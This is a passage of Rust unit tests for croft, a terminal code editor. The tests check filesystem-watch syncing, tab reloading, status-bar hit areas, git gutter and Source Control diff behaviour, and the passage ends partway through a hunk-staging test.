        std::fs::create_dir_all(r.join("node_modules/pkg")).unwrap();
        std::fs::create_dir_all(r.join(".git/objects")).unwrap();
    }

    let mut targets: Vec<(std::path::PathBuf, notify::RecursiveMode)> = Vec::new();
    let mut budget = usize::MAX; // generous: this small tree is walked in full
    super::fs_watch::collect_macos_watch_targets(tmp.path(), tmp.path(), &mut targets, &mut budget);

    // No target may contain a noise dir anywhere beneath it (which on macOS
    // would put that noise dir inside the target's recursive FSEvents stream).
    for (path, _mode) in &targets {
        for entry in walkdir_noise(path) {
            if let Some(name) = entry.file_name() {
                assert!(
                    !is_noise_dir(name),
                    "watch target {path:?} roots an FSEvents stream over noise dir {entry:?}; \
                     cargo/npm build churn there would peg the fsevents callback"
                );
            }
        }
    }
    // And the clean leaves must still be covered, or external edits go unseen.
    assert!(
        targets.iter().any(|(p, _)| p.ends_with("alpha/src")
            || p.canonicalize()
                .map(|c| c.ends_with("alpha/src"))
                .unwrap_or(false)),
        "the clean repo subtree (alpha/src) must still be watched; got {targets:?}"
    );
}

#[cfg(target_os = "macos")]
fn walkdir_noise(root: &std::path::Path) -> Vec<std::path::PathBuf> {
    let mut out = Vec::new();
    let mut stack = vec![root.to_path_buf()];
    while let Some(dir) = stack.pop() {
        let Ok(rd) = std::fs::read_dir(&dir) else {
            continue;
        };
        for entry in rd.filter_map(Result::ok) {
            let p = entry.path();
            if entry.file_type().map(|ft| ft.is_dir()).unwrap_or(false) {
                out.push(p.clone());
                stack.push(p);
            }
        }
    }
    out
}

#[test]
fn drain_fs_events_returns_false_when_nothing_pending() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.fs_watch.disable();
    for _ in 0..20 {
        let _ = app.drain_fs_events();
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(!app.drain_fs_events(), "no fs events ⇒ no redraw needed");
}

/// How many drain ticks an external filesystem change may take to reach the
/// Explorer: the 200 ms fs-sync invariant, expressed in croft's own work
/// rather than in wall clock (#483). Each tick is one `drain_fs_events` and
/// a 10 ms pause, so twenty ticks is 200 ms of croft's own opportunities to
/// notice the change; a suite that starves this thread for 300 ms between
/// two ticks stretches the clock but not the count. On a quiet machine the
/// change lands in one or two ticks, and the poll fallback alone would land
/// it in about five at `FS_POLL_INTERVAL`'s floor (more once `back_off`
/// widens the interval), so this bound catches a gross regression (a
/// watcher and a poll that both stopped delivering), not drift; the
/// wall-clock figure itself is measured by the `#[ignore]`d serial test
/// below.
const FS_SYNC_TICKS: usize = 20;

#[test]
fn drain_fs_events_returns_true_after_workspace_write() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join(".git")).unwrap();
    std::fs::write(tmp.path().join(".gitignore"), "*.txt\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for _ in 0..20 {
        let _ = app.drain_fs_events();
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    let new_file = tmp.path().join("new.txt");
    std::fs::write(&new_file, "hi").unwrap();
    let mut saw = false;
    let mut landed = false;
    // Bounded at the invariant itself: every tick past it would give the
    // same verdict, so the loop stops where the claim does.
    for _ in 1..=FS_SYNC_TICKS {
        if app.drain_fs_events() {
            saw = true;
        }
        if app.tree.nodes.iter().any(|n| n.path == new_file) {
            landed = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(saw, "workspace write should propagate as a dirty signal");
    assert!(
        landed,
        "created file should appear in Explorer within {FS_SYNC_TICKS} drain ticks (never landed)"
    );
}

#[test]
fn drain_fs_events_removes_deleted_root_file_from_tree() {
    let tmp = tempfile::tempdir().unwrap();
    let doomed = tmp.path().join("doomed.txt");
    std::fs::write(&doomed, "bye").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert!(
        app.tree.nodes.iter().any(|n| n.path == doomed),
        "precondition: initial tree contains the file"
    );

    std::fs::remove_file(&doomed).unwrap();
    let mut gone = false;
    for _ in 1..=FS_SYNC_TICKS {
        let _ = app.drain_fs_events();
        if !app.tree.nodes.iter().any(|n| n.path == doomed) {
            gone = true;
            break;
        }
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        gone,
        "deleted file should disappear from Explorer within {FS_SYNC_TICKS} drain ticks (never left)"
    );
}

/// The 200 ms invariant as wall clock, for a serial run on a quiet machine
/// (pass `--ignored` with the filter `fs_sync_reflects`). Ignored by default
/// because a full parallel suite is itself the load (#483): the scheduler,
/// not croft, decides whether this thread runs again inside 200 ms while
/// thousands of neighbours spawn shells, so a failure here in that setting
/// says nothing about the watcher. The tick-counted pair above carries the
/// check in the suite; this one measures the invariant itself.
#[test]
#[ignore = "wall clock: run serially on a quiet machine"]
fn fs_sync_reflects_external_changes_within_200ms_wall_clock() {
    let tmp = tempfile::tempdir().unwrap();
    let doomed = tmp.path().join("doomed.txt");
    std::fs::write(&doomed, "bye").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    for _ in 0..20 {
        let _ = app.drain_fs_events();
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    let budget = std::time::Duration::from_millis(200);

    let new_file = tmp.path().join("new.txt");
    std::fs::write(&new_file, "hi").unwrap();
    // The budget is checked after every drain as well as before: a drain
    // that lands the change past the deadline must still fail, not end the
    // loop quietly on the next condition check.
    let started = std::time::Instant::now();
    while !app.tree.nodes.iter().any(|n| n.path == new_file) {
        let _ = app.drain_fs_events();
        assert!(
            started.elapsed() <= budget,
            "created file should appear in Explorer within {budget:?} (deadline passed mid-drain)"
        );
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        started.elapsed() <= budget,
        "created file should appear in Explorer within {budget:?} (deadline passed at the last check)"
    );

    std::fs::remove_file(&doomed).unwrap();
    let started = std::time::Instant::now();
    while app.tree.nodes.iter().any(|n| n.path == doomed) {
        let _ = app.drain_fs_events();
        assert!(
            started.elapsed() <= budget,
            "deleted file should disappear from Explorer within {budget:?} (deadline passed mid-drain)"
        );
        std::thread::sleep(std::time::Duration::from_millis(10));
    }
    assert!(
        started.elapsed() <= budget,
        "deleted file should disappear from Explorer within {budget:?} (deadline passed at the last check)"
    );
}

#[test]
fn drain_fs_events_polling_fallback_refreshes_tree_without_watcher_event() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.fs_watch.disable();
    app.fs_watch.clear_dir_mtimes();
    app.fs_watch.force_poll_due();

    let new_file = tmp.path().join("new.txt");
    std::fs::write(&new_file, "hi").unwrap();

    assert!(app.drain_fs_events());
    assert!(
        app.tree.nodes.iter().any(|n| n.path == new_file),
        "polling fallback should refresh the tree when no watcher event arrives"
    );
}

#[test]
fn drain_fs_events_polling_fallback_reloads_clean_open_file_without_watcher_event() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("open.txt");
    std::fs::write(&file, "old\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.sync_open_file_poll_mtime();
    app.fs_watch.disable();
    app.fs_watch.force_poll_due();

    std::fs::write(&file, "new content\n").unwrap();

    assert!(app.drain_fs_events());
    assert_eq!(app.editor.lines, vec!["new content"]);
    assert!(!app.editor.dirty);
}

/// The right cluster is painted over the left paragraph, but the diagnostics
/// hit rect was clipped only to the frame edge — never to where that cluster
/// starts. So on a narrow terminal the cells that visibly read "Ln 1, Col 1"
/// still answered to the diagnostics click and opened PROBLEMS, while the
/// counts they claimed to be were not on screen at all.
#[test]
fn clicking_the_position_readout_does_not_open_problems() {
    use ratatui::{Terminal, backend::TestBackend};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // 56 cols: the right cluster (51 cells with its │ dividers) fits, but its
    // left edge still lands inside the diagnostics cluster, so the clip below
    // is exercised.
    let mut term = Terminal::new(TestBackend::new(56, 20)).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    // Find the status row and the column where the position readout paints.
    let buf = term.backend().buffer();
    let row = buf.area.height - 1;
    let text: String = (0..buf.area.width)
        .map(|x| buf[(x, row)].symbol().chars().next().unwrap_or(' '))
        .collect();
    let ln_col =
        text.find("Ln ")
            .unwrap_or_else(|| panic!("no position readout in status row {text:?}")) as u16;

    // The right cluster begins with " Ln", so its left edge is one cell before.
    let rx = ln_col.saturating_sub(1);
    assert!(
        app.status_diag_rect.right() <= rx,
        "the diagnostics hit rect must stop where the right cluster starts \
         (rect {:?} reaches {}, cluster starts at {}); row reads {text:?}",
        app.status_diag_rect,
        app.status_diag_rect.right(),
        rx
    );
    // And concretely: the cells that visibly read "Col 1" must not be a
    // diagnostics target.
    let col_at = text.find("Col ").unwrap() as u16;
    assert!(
        !rect_contains(app.status_diag_rect, col_at, row),
        "clicking the column readout opened PROBLEMS"
    );
}

/// Inactive split groups render their editors, so their git gutters paint from
/// whatever baseline they hold. `sync_git_gutters` fetched baselines for the
/// ACTIVE group only, so a tab in the other pane painted bars against nothing
/// (or, after a commit, against a baseline that HEAD had moved past) and never
/// self-corrected: focusing it makes `git_baseline_for == path`, so the fetch
/// is skipped from then on.
#[test]
fn git_gutter_baselines_are_fetched_for_inactive_split_groups() {
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path();
    for args in [
        vec!["init", "-q", "-b", "main"],
        vec!["config", "user.email", "a@b"],
        vec!["config", "user.name", "a"],
    ] {
        let _ = std::process::Command::new("git")
            .arg("-C")
            .arg(root)
            .args(&args)
            .status();
    }
    let f = root.join("seed.txt");
    std::fs::write(&f, "one\ntwo\n").unwrap();
    for args in [vec!["add", "."], vec!["commit", "-m", "init", "--quiet"]] {
        let _ = std::process::Command::new("git")
            .arg("-C")
            .arg(root)
            .args(&args)
            .status();
    }

    let mut app = App::new(root.to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.split_editor(); // both groups now hold seed.txt; right is focused
    app.sync_git_gutters();

    let inactive_baselines: Vec<Option<std::path::PathBuf>> = app
        .editor_layout
        .inactive_groups()
        .into_iter()
        .flat_map(|g| g.editors.iter())
        .filter(|e| e.path.as_deref() == Some(f.as_path()))
        .map(|e| e.git_baseline_for.clone())
        .collect();
    assert!(
        !inactive_baselines.is_empty(),
        "the inactive group holds a tab on seed.txt"
    );
    for baseline in inactive_baselines {
        assert_eq!(
            baseline.as_deref(),
            Some(f.as_path()),
            "a tab in an inactive split group needs its git baseline too"
        );
    }
}

/// "Reopen with Encoding" re-reads the file from disk over the buffer AND
/// clears both history stacks, so unsaved work was gone with no confirmation
/// and no way back through Cmd+Z. The status-bar encoding segment is a newly
/// clickable target sitting a few cells from the Ln/Col readout, so this is
/// easy to hit by accident — including by picking the encoding already in use,
/// which otherwise looks like a no-op.
#[test]
fn reopen_with_encoding_refuses_to_discard_unsaved_edits() {
    let tmp = tempfile::tempdir().unwrap();
    let f = tmp.path().join("notes.txt");
    std::fs::write(&f, "keep me\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&f).unwrap();
    app.editor.cursor_col = 0;
    app.editor.insert_char('X');
    assert!(app.editor.dirty, "the buffer has unsaved work");

    app.dispatch_menu_action(
        MenuAction::SetEncoding(encoding_rs::UTF_8),
        tmp.path().to_path_buf(),
    );

    assert!(
        app.editor.lines[0].starts_with('X'),
        "the unsaved edit must survive, got {:?}",
        app.editor.lines[0]
    );
    assert!(app.editor.dirty, "and the buffer is still dirty");
    let msg = app.status.to_lowercase();
    assert!(
        msg.contains("undo"),
        "the refusal must point at the non-destructive route, got {:?}",
        app.status
    );
    // Never "save first": the buffer may be showing mojibake from a wrong
    // decode, and saving writes those replacement chars over the real bytes.
    assert!(
        !msg.contains("save the file first") && !msg.contains("save first"),
        "must not advise the destructive route, got {:?}",
        app.status
    );
}

/// A boundary dir (any repo root: it holds `.git`) gets NO FSEvents watch on
/// macOS, by the iron law that keeps the build-churn storm dead. An in-place
/// write does not move the parent dir's mtime either, so for a file sitting
/// directly in one, the poll's per-file stat is the ONLY thing that can notice
/// a change — and it tracked the ACTIVE tab alone, leaving a background tab on
/// stale text indefinitely.
#[test]
fn the_poll_notices_a_background_tab_whose_file_changed_in_place() {
    let tmp = tempfile::tempdir().unwrap();
    let bg = tmp.path().join("bg.txt");
    let front = tmp.path().join("front.txt");
    std::fs::write(&bg, "old\n").unwrap();
    std::fs::write(&front, "front\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&bg).unwrap();
    app.editor.open_pinned(&front).unwrap(); // front.txt is now the active tab
    app.sync_open_file_poll_mtime();
    app.fs_watch.disable();
    // Baseline the dir mtimes so the sweep cannot be driven by `dirs_changed`.
    app.fs_watch.force_poll_due();
    let _ = app.drain_fs_events();

    // Rewrite the BACKGROUND file in place: same directory entry, so the dir's
    // own mtime does not move.
    std::fs::write(&bg, "new content\n").unwrap();
    app.fs_watch.force_poll_due();
    let _ = app.drain_fs_events();

    let reloaded = app
        .editor
        .editors
        .iter()
        .find(|e| e.path.as_deref() == Some(bg.as_path()))
        .expect("the background tab is still open")
        .lines
        .clone();
    assert_eq!(
        reloaded,
        vec!["new content"],
        "a background tab must pick up an in-place external write"
    );
}

/// The external-change sweep has to reach every editor GROUP, not just the
/// focused one. The poll stats each open tab exactly once and re-baselines its
/// stamp, so a change it reports and the sweep then misses is burned: no later
/// tick sees it again and the split pane keeps stale text forever.
#[test]
fn an_external_write_reloads_a_tab_in_an_inactive_split_group() {
    let tmp = tempfile::tempdir().unwrap();
    let side = tmp.path().join("side.txt");
    let front = tmp.path().join("front.txt");
    std::fs::write(&side, "old\n").unwrap();
    std::fs::write(&front, "front\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&side).unwrap();
    app.split_editor(); // side.txt is now open in BOTH groups; right is focused
    app.editor.open_pinned(&front).unwrap(); // focused group moves to front.txt
    app.sync_open_file_poll_mtime();
    app.fs_watch.disable();
    app.fs_watch.force_poll_due();
    let _ = app.drain_fs_events();

    std::fs::write(&side, "new content\n").unwrap();
    app.fs_watch.force_poll_due();
    let _ = app.drain_fs_events();

    let stale: Vec<String> = app
        .editor_layout
        .inactive_groups()
        .into_iter()
        .flat_map(|g| g.editors.iter())
        .filter(|e| e.path.as_deref() == Some(side.as_path()))
        .map(|e| e.lines.join("\n"))
        .collect();
    assert!(
        !stale.is_empty(),
        "the inactive group still holds a tab on side.txt"
    );
    for text in stale {
        assert_eq!(
            text, "new content",
            "a tab in an inactive split group must reload too"
        );
    }
}

/// Watcher backends on Linux fire `Access(...)` events when croft (or any
/// other process) reads the open file — the inotify subsystem does not
/// distinguish a benign read from a real content change. Treating those
/// as "external change" reloads the editor, which clears `selection` and
/// kills any in-flight Cmd+A / mouse-drag / Shift+Right gesture. The
/// reload must only fire for events that mutate content.
#[test]
fn drain_fs_events_preserves_editor_selection_on_access_only_event() {
    use notify::Event as NotifyEvent;
    use notify::event::{AccessKind, AccessMode, EventKind};
    use notify_debouncer_full::DebouncedEvent;
    use std::sync::mpsc;

    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("readme.md");
    std::fs::write(&file, "hello world\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.select_all();
    assert!(
        app.editor.selection.is_some(),
        "precondition: selection set after select_all"
    );

    let (tx, rx) = mpsc::channel();
    app.fs_watch.set_test_events(rx);
    app.sync_open_file_poll_mtime();

    let access_event = NotifyEvent::new(EventKind::Access(AccessKind::Open(AccessMode::Read)))
        .add_path(file.clone());
    tx.send(Ok(vec![DebouncedEvent::new(
        access_event,
        std::time::Instant::now(),
    )]))
    .unwrap();

    app.drain_fs_events();
    assert!(
        app.editor.selection.is_some(),
        "Access(Read) on the open file must not clobber editor selection"
    );
}

/// Same class of spurious wake-up as the Access event, via the other
/// notify branch: `chmod`, `touch -a`, ownership changes, and xattr
/// updates surface as `Modify(Metadata(_))`. None mutate file content,
/// so none should trigger an editor reload that wipes selection.
#[test]
fn drain_fs_events_preserves_editor_selection_on_metadata_event() {
    use notify::Event as NotifyEvent;
    use notify::event::{EventKind, MetadataKind, ModifyKind};
    use notify_debouncer_full::DebouncedEvent;
    use std::sync::mpsc;

    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("readme.md");
    std::fs::write(&file, "hello world\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    app.editor.select_all();

    let (tx, rx) = mpsc::channel();
    app.fs_watch.set_test_events(rx);
    app.sync_open_file_poll_mtime();

    let metadata_event = NotifyEvent::new(EventKind::Modify(ModifyKind::Metadata(
        MetadataKind::AccessTime,
    )))
    .add_path(file.clone());
    tx.send(Ok(vec![DebouncedEvent::new(
        metadata_event,
        std::time::Instant::now(),
    )]))
    .unwrap();

    app.drain_fs_events();
    assert!(
        app.editor.selection.is_some(),
        "Modify(Metadata(AccessTime)) on the open file must not clobber editor selection"
    );
}

/// Companion to the access-event test: a real content change still has to
/// trigger the reload, otherwise external edits would never refresh the
/// buffer. Guards against an over-broad fix that drops legitimate events.
#[test]
fn drain_fs_events_reloads_on_modify_data_event() {
    use notify::Event as NotifyEvent;
    use notify::event::{DataChange, EventKind, ModifyKind};
    use notify_debouncer_full::DebouncedEvent;
    use std::sync::mpsc;

    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("readme.md");
    std::fs::write(&file, "old\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();

    let (tx, rx) = mpsc::channel();
    app.fs_watch.set_test_events(rx);
    app.sync_open_file_poll_mtime();

    std::fs::write(&file, "new content\n").unwrap();
    let modify_event = NotifyEvent::new(EventKind::Modify(ModifyKind::Data(DataChange::Content)))
        .add_path(file.clone());
    tx.send(Ok(vec![DebouncedEvent::new(
        modify_event,
        std::time::Instant::now(),
    )]))
    .unwrap();

    app.drain_fs_events();
    assert_eq!(app.editor.lines, vec!["new content"]);
}

/// The reported bug: a file open in a NON-active tab changed on disk and the
/// tab never reloaded, so it looked like another project's content had leaked
/// in. FS sync must cover every open tab, not just the focused one.
#[test]
fn drain_fs_events_reloads_background_tab_on_external_change() {
    use notify::Event as NotifyEvent;
    use notify::event::{DataChange, EventKind, ModifyKind};
    use notify_debouncer_full::DebouncedEvent;
    use std::sync::mpsc;

    let tmp = tempfile::tempdir().unwrap();
    let bg = tmp.path().join("background.txt");
    let fg = tmp.path().join("foreground.txt");
    std::fs::write(&bg, "bg old\n").unwrap();
    std::fs::write(&fg, "fg old\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&bg).unwrap(); // background tab
    app.editor.open_pinned(&fg).unwrap(); // active tab

    let (tx, rx) = mpsc::channel();
    app.fs_watch.set_test_events(rx);
    app.sync_open_file_poll_mtime();

    std::fs::write(&bg, "bg NEW\n").unwrap();
    let ev = NotifyEvent::new(EventKind::Modify(ModifyKind::Data(DataChange::Content)))
        .add_path(bg.clone());
    tx.send(Ok(vec![DebouncedEvent::new(ev, std::time::Instant::now())]))
        .unwrap();

    app.drain_fs_events();

    let bg_tab = app
        .editor
        .iter_tabs()
        .find(|e| e.path.as_deref() == Some(bg.as_path()))
        .unwrap();
    assert_eq!(
        bg_tab.lines,
        vec!["bg NEW"],
        "a background tab must reload when its file changes on disk"
    );
    assert_eq!(app.editor.lines, vec!["fg old"], "active tab untouched");
}

#[test]
fn rect_contains_basic() {
    let r = Rect {
        x: 5,
        y: 5,
        width: 10,
        height: 10,
    };
    assert!(rect_contains(r, 5, 5));
    assert!(rect_contains(r, 14, 14));
    assert!(!rect_contains(r, 4, 5));
    assert!(!rect_contains(r, 15, 5));
    assert!(!rect_contains(r, 5, 15));
}

#[test]
fn rect_contains_zero_sized_is_empty() {
    let r = Rect {
        x: 0,
        y: 0,
        width: 0,
        height: 0,
    };
    assert!(!rect_contains(r, 0, 0));
}

fn note_fixture(
    kind: crate::release_notes::NoteKind,
    summary: &'static str,
) -> crate::release_notes::ReleaseNote {
    crate::release_notes::ReleaseNote { kind, summary }
}

#[test]
fn welcome_note_summary_wraps_long_lines() {
    let n = note_fixture(
        crate::release_notes::NoteKind::Feature,
        "Code Actions and Quick Fix on Cmd+., aggregated across every running language server in the workspace",
    );
    let lines = wrapped_welcome_note_summary(&n, 42);
    assert!(lines.len() > 1, "long highlight summaries should wrap");
    for line in &lines {
        assert!(line.chars().count() <= welcome_note_summary_width(42) as usize);
    }
}

#[test]
fn welcome_recents_height_accounts_for_wrapped_note_rows() {
    let n = note_fixture(
        crate::release_notes::NoteKind::Fix,
        "A reasonably long highlight summary that will certainly wrap to more than a single line in a narrow column",
    );
    let h = welcome_recents_height(&[n], 42);
    // header + blank + at least two wrapped rows.
    assert!(
        h > 1 + 1 + 1,
        "height must include wrapped continuation rows; got {h}"
    );
}

#[test]
fn lerp_rgb_hits_endpoints_exactly() {
    let a = (10u8, 20, 30);
    let b = (100u8, 200, 250);
    assert_eq!(lerp_rgb(a, b, 0.0), a);
    assert_eq!(lerp_rgb(a, b, 1.0), b);
    let mid = lerp_rgb(a, b, 0.5);
    assert!(mid.0 > a.0 && mid.0 < b.0);
}

#[test]
fn paint_gradient_box_skips_when_rect_runs_off_buffer() {
    // The panic that motivated the bounds clip: an 80x25 buffer asked
    // to render a tall recents box that extended past row 25.
    let buf_area = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 25,
    };
    let mut buf = ratatui::buffer::Buffer::empty(buf_area);
    let oversized = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 60,
    };
    // Must not panic; the no-op clip is the contract.
    paint_gradient_box(&mut buf, oversized);
    let off_top_left = Rect {
        x: 0,
        y: 0,
        width: 80,
        height: 25,
    };
    // Sanity: a fitting rect still draws.
    paint_gradient_box(&mut buf, off_top_left);
    assert_eq!(buf[(0, 0)].symbol(), "\u{256d}");
}

#[test]
fn clicking_an_scm_entry_below_a_stale_tree_last_area_still_selects_and_opens() {
    // User report: after the Source Control list got long enough to
    // reach below where the file tree had last rendered, the rows in
    // that lower band became unclickable. Root cause: the mouse
    // handler gated all sidebar-view click branches on `rect_contains
    // (self.tree.last_area, ...)`, but `tree.last_area` is only
    // refreshed when the Explorer view renders — switching to
    // Source Control freezes that rectangle, and any click below
    // its bottom edge fell through even though it was inside the
    // SCM panel.
    use crate::git::{ChangeEntry, ChangeKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    // Pretend the Explorer view rendered into a tall pane; then the
    // user opened the terminal which shrank the side area; then they
    // switched to Source Control. Set tree.last_area to the OLD,
    // taller rectangle so we can prove the SCM click-handler is no
    // longer dependent on it.
    app.tree.last_area = Rect {
        x: 4,
        y: 1,
        width: 30,
        height: 6,
    };
    app.set_sidebar_view(SidebarView::SourceControl);
    // Set entries AFTER set_sidebar_view because that path calls
    // refresh_source_control which overwrites entries with the live
    // git query (empty in a non-repo temp dir).
    app.source_control.status.in_repo = true;
    app.source_control.status.branch = Some("main".into());
    app.source_control.entries = (0..15)
        .map(|i| ChangeEntry {
            path: format!("file{i}.py"),
            kind: ChangeKind::Untracked,
            ..Default::default()
        })
        .collect();

    let backend = ratatui::backend::TestBackend::new(80, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();

    // Pick the y of a row that lives BELOW tree.last_area's bottom
    // but inside the SCM list. Walk the rendered list area to find
    // one.
    let stale_bottom = app.tree.last_area.y + app.tree.last_area.height;
    let list_area = app.source_control.last_list_area;
    assert!(
        list_area.y + list_area.height > stale_bottom,
        "test setup must put SCM rows below the stale tree.last_area"
    );
    // Walk from stale_bottom down looking for a row that maps to an
    // entry (skip section-header rows).
    let target_row = (stale_bottom..list_area.y + list_area.height)
        .find(|y| app.source_control.entry_at_y(*y).is_some())
        .expect("at least one entry must render below the stale tree band");

    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        column: list_area.x + 4,
        row: target_row,
        modifiers: KeyModifiers::NONE,
    });

    assert!(
        app.source_control.selected_change.is_some(),
        "click on an SCM entry below the stale tree.last_area must still select it"
    );
}

#[test]
fn click_on_a_deleted_source_control_entry_opens_unified_diff_with_head_lines_all_removed() {
    // A file that's tracked in HEAD but missing from the working
    // tree (or staged for deletion) used to leave the editor empty
    // when clicked, because `open_source_control_entry` fell into
    // the generic open-from-disk branch and the path doesn't exist
    // any more. New behaviour: clicking the row opens a one-pane
    // unified diff that paints every line of the HEAD blob as a
    // removed line — visually identical to `git diff` for a deletion.
    use crate::git::{ChangeEntry, ChangeKind};
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path();
    let init = std::process::Command::new("git")
        .args(["init", "-q", "-b", "main"])
        .current_dir(root)
        .status()
        .unwrap();
    assert!(init.success());
    let _ = std::process::Command::new("git")
        .args(["config", "user.email", "t@t"])
        .current_dir(root)
        .status();
    let _ = std::process::Command::new("git")
        .args(["config", "user.name", "t"])
        .current_dir(root)
        .status();
    let f = root.join("doomed.txt");
    std::fs::write(&f, b"alpha\nbeta\ngamma\n").unwrap();
    let _ = std::process::Command::new("git")
        .args(["add", "doomed.txt"])
        .current_dir(root)
        .status();
    let _ = std::process::Command::new("git")
        .args(["commit", "-q", "-m", "seed"])
        .current_dir(root)
        .status();
    // Delete in the working tree but leave it tracked in HEAD/index
    // — that's exactly the `Deleted` (unstaged) state.
    std::fs::remove_file(&f).unwrap();
    let mut app = App::new(root.to_path_buf()).unwrap();
    app.source_control.entries = vec![ChangeEntry {
        path: "doomed.txt".into(),
        kind: ChangeKind::Deleted,
        ..Default::default()
    }];
    app.set_sidebar_view(SidebarView::SourceControl);
    app.open_source_control_entry(0);
    let diff = app
        .editor
        .diff
        .as_ref()
        .expect("clicking a Deleted entry must open a diff view, not a blank tab");
    assert!(
        diff.unified,
        "the deletion view must be the single-column unified flavour, not side-by-side"
    );
    assert_eq!(diff.left_lines, vec!["alpha", "beta", "gamma"]);
    assert!(
        diff.rows
            .iter()
            .all(|r| matches!(r, crate::widgets::diff::DiffRow::Removed { .. })),
        "every visible row must be Removed so the whole pane paints red"
    );
}

#[test]
fn click_on_a_modified_source_control_entry_opens_a_diff_view_against_head() {
    // VS Code surfaces the diff between the working-tree file and
    // the HEAD version when the user clicks a Modified entry in the
    // Source Control panel. Croft used to just open the working
    // file as plain text — assert the new behaviour: the active
    // editor tab carries a `diff: Some(...)` payload.
    use crate::git::{ChangeEntry, ChangeKind};
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path();
    // Init a real repo so git show HEAD:<path> returns content.
    let init = std::process::Command::new("git")
        .args(["init", "-q", "-b", "main"])
        .current_dir(root)
        .status()
        .unwrap();
    assert!(init.success());
    let _ = std::process::Command::new("git")
        .args(["config", "user.email", "t@t"])
        .current_dir(root)
        .status();
    let _ = std::process::Command::new("git")
        .args(["config", "user.name", "t"])
        .current_dir(root)
        .status();
    let f = root.join("a.py");
    std::fs::write(&f, b"print(1)\n").unwrap();
    let _ = std::process::Command::new("git")
        .args(["add", "a.py"])
        .current_dir(root)
        .status();
    let _ = std::process::Command::new("git")
        .args(["commit", "-q", "-m", "init"])
        .current_dir(root)
        .status();
    std::fs::write(&f, b"print(2)\n").unwrap();
    let mut app = App::new(root.to_path_buf()).unwrap();
    app.source_control.entries = vec![ChangeEntry {
        path: "a.py".into(),
        kind: ChangeKind::Modified,
        ..Default::default()
    }];
    app.set_sidebar_view(SidebarView::SourceControl);
    app.open_source_control_entry(0);
    assert!(
        app.editor.diff.is_some(),
        "clicking a Modified entry must open the editor in diff-vs-HEAD mode, not as plain text"
    );
}

/// Shared ritual for the hunk-staging tests: a real repo whose committed
/// 20-line file has been edited at line 2 and line 18, so the working
/// tree carries two well-separated hunks, opened as an SCM diff.
fn scm_two_hunk_app() -> (tempfile::TempDir, App) {
    use crate::git::{ChangeEntry, ChangeKind};
    let tmp = tempfile::tempdir().unwrap();
    let root = tmp.path();
    let git = |args: &[&str]| {
        let ok = std::process::Command::new("git")
            .args(args)
            .current_dir(root)
            .output()
            .unwrap()
            .status
            .success();
        assert!(ok, "git {args:?} failed");
    };
    git(&["init", "-q", "-b", "main"]);
    git(&["config", "user.email", "t@t"]);
    git(&["config", "user.name", "t"]);
    let original: String = (1..=20).map(|i| format!("line{i}\n")).collect();
    std::fs::write(root.join("f.txt"), original).unwrap();
    git(&["add", "f.txt"]);
    git(&["commit", "-q", "-m", "init"]);
    let mut edited: Vec<String> = (1..=20).map(|i| format!("line{i}")).collect();
    edited[1] = "LINE2".into();
    edited[17] = "LINE18".into();
    std::fs::write(root.join("f.txt"), edited.join("\n") + "\n").unwrap();
    let mut app = App::new(root.to_path_buf()).unwrap();
    app.source_control.entries = vec![ChangeEntry {
        path: "f.txt".into(),
        kind: ChangeKind::Modified,
        ..Default::default()
    }];
    app.set_sidebar_view(SidebarView::SourceControl);
    app.open_source_control_entry(0);
    assert!(app.editor.diff.is_some(), "the SCM diff must be open");
    (tmp, app)
}

fn git_stdout_in(root: &std::path::Path, args: &[&str]) -> String {
    let out = std::process::Command::new("git")
        .args(args)
        .current_dir(root)
        .output()
        .unwrap();
    String::from_utf8_lossy(&out.stdout).to_string()
}

#[test]
fn pressing_s_in_a_scm_diff_stages_only_the_hunk_under_the_caret() {
    let (tmp, mut app) = scm_two_hunk_app();
    // Caret on the first hunk (row 1 = the line2 edit).
    app.editor
        .diff
        .as_mut()
        .unwrap()
